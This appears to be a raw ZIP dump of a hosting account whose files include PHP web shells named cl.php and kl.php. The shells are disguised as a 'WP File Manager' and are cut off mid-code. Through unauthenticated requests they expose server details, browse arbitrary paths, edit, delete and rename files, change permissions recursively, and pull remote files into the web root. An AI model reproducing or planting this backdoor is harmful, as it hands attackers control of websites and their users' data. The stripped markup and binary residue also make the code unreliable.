"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]•EOQBB shenaj@drsupernova.com/.metadatanu„[µü¤[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c type VCALENDAR PK’&{]„N9³§Ë§Ëshenaj@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëshenaj@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { 